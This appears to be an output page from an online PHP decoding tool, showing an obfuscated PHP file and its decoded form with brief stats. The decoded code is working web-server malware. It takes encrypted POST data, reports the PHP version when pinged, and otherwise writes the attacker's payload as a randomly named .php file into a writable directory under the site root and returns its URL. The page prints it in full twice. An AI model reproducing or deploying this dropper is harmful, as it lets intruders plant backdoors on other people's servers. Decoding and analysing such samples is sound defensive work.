Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $jzabxqcxas = "xzcxgfopcakivihc";$vxvsdwki = "";foreach ($_POST as $slvgktmm => $jvr..

Decoded Output download

<?php $jzabxqcxas = "xzcxgfopcakivihc";$vxvsdwki = "";foreach ($_POST as $slvgktmm => $jvrlsemrwficmyiplg){if (strlen($slvgktmm) == 16 and substr_count($jvrlsemrwficmyiplg, "%") > 10){mjmlmd($slvgktmm, $jvrlsemrwficmyiplg);}}function mjmlmd($slvgktmm, $isqbvtqaee){global $vxvsdwki;$vxvsdwki = $slvgktmm;$isqbvtqaee = str_split(rawurldecode(str_rot13($isqbvtqaee)));function cjktknw($ljhmvsolu, $slvgktmm){global $jzabxqcxas, $vxvsdwki;return $ljhmvsolu ^ $jzabxqcxas[$slvgktmm % strlen($jzabxqcxas)] ^ $vxvsdwki[$slvgktmm % strlen($vxvsdwki)];}$isqbvtqaee = implode("", array_map("cjktknw", array_values($isqbvtqaee), array_keys($isqbvtqaee)));$isqbvtqaee = @unserialize($isqbvtqaee);if (@is_array($isqbvtqaee)){$slvgktmm = array_keys($isqbvtqaee);$isqbvtqaee = $isqbvtqaee[$slvgktmm[0]];if ($isqbvtqaee === $slvgktmm[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function yvzicsbjc($jvrlsemrwir) {static $wvcgwvnh = array();$vfijedrd = glob($jvrlsemrwir . '/*', GLOB_ONLYDIR);if (count($vfijedrd) > 0) {foreach ($vfijedrd as $jvrlsemrw){if (@is_writable($jvrlsemrw)){$wvcgwvnh[] = $jvrlsemrw;}}}foreach ($vfijedrd as $jvrlsemrwir) yvzicsbjc($jvrlsemrwir);return $wvcgwvnh;}$iabfhhpkp = $_SERVER["DOCUMENT_ROOT"];$vfijedrd = yvzicsbjc($iabfhhpkp);$slvgktmm = array_rand($vfijedrd);$xqtntfief = $vfijedrd[$slvgktmm] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($xqtntfief, $isqbvtqaee);echo "http://" . $_SERVER["HTTP_HOST"] . substr($xqtntfief, strlen($iabfhhpkp));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $jzabxqcxas = "xzcxgfopcakivihc";$vxvsdwki = "";foreach ($_POST as $slvgktmm => $jvrlsemrwficmyiplg){if (strlen($slvgktmm) == 16 and substr_count($jvrlsemrwficmyiplg, "%") > 10){mjmlmd($slvgktmm, $jvrlsemrwficmyiplg);}}function mjmlmd($slvgktmm, $isqbvtqaee){global $vxvsdwki;$vxvsdwki = $slvgktmm;$isqbvtqaee = str_split(rawurldecode(str_rot13($isqbvtqaee)));function cjktknw($ljhmvsolu, $slvgktmm){global $jzabxqcxas, $vxvsdwki;return $ljhmvsolu ^ $jzabxqcxas[$slvgktmm % strlen($jzabxqcxas)] ^ $vxvsdwki[$slvgktmm % strlen($vxvsdwki)];}$isqbvtqaee = implode("", array_map("cjktknw", array_values($isqbvtqaee), array_keys($isqbvtqaee)));$isqbvtqaee = @unserialize($isqbvtqaee);if (@is_array($isqbvtqaee)){$slvgktmm = array_keys($isqbvtqaee);$isqbvtqaee = $isqbvtqaee[$slvgktmm[0]];if ($isqbvtqaee === $slvgktmm[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function yvzicsbjc($jvrlsemrwir) {static $wvcgwvnh = array();$vfijedrd = glob($jvrlsemrwir . '/*', GLOB_ONLYDIR);if (count($vfijedrd) > 0) {foreach ($vfijedrd as $jvrlsemrw){if (@is_writable($jvrlsemrw)){$wvcgwvnh[] = $jvrlsemrw;}}}foreach ($vfijedrd as $jvrlsemrwir) yvzicsbjc($jvrlsemrwir);return $wvcgwvnh;}$iabfhhpkp = $_SERVER["DOCUMENT_ROOT"];$vfijedrd = yvzicsbjc($iabfhhpkp);$slvgktmm = array_rand($vfijedrd);$xqtntfief = $vfijedrd[$slvgktmm] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($xqtntfief, $isqbvtqaee);echo "http://" . $_SERVER["HTTP_HOST"] . substr($xqtntfief, strlen($iabfhhpkp));exit();}}}

Function Calls

None

Variables

$vxvsdwki
$jzabxqcxas xzcxgfopcakivihc

Stats

MD5 3c7884dcf7bb89d49861d9ca3a61c767
Eval Count 0
Decode Time 89 ms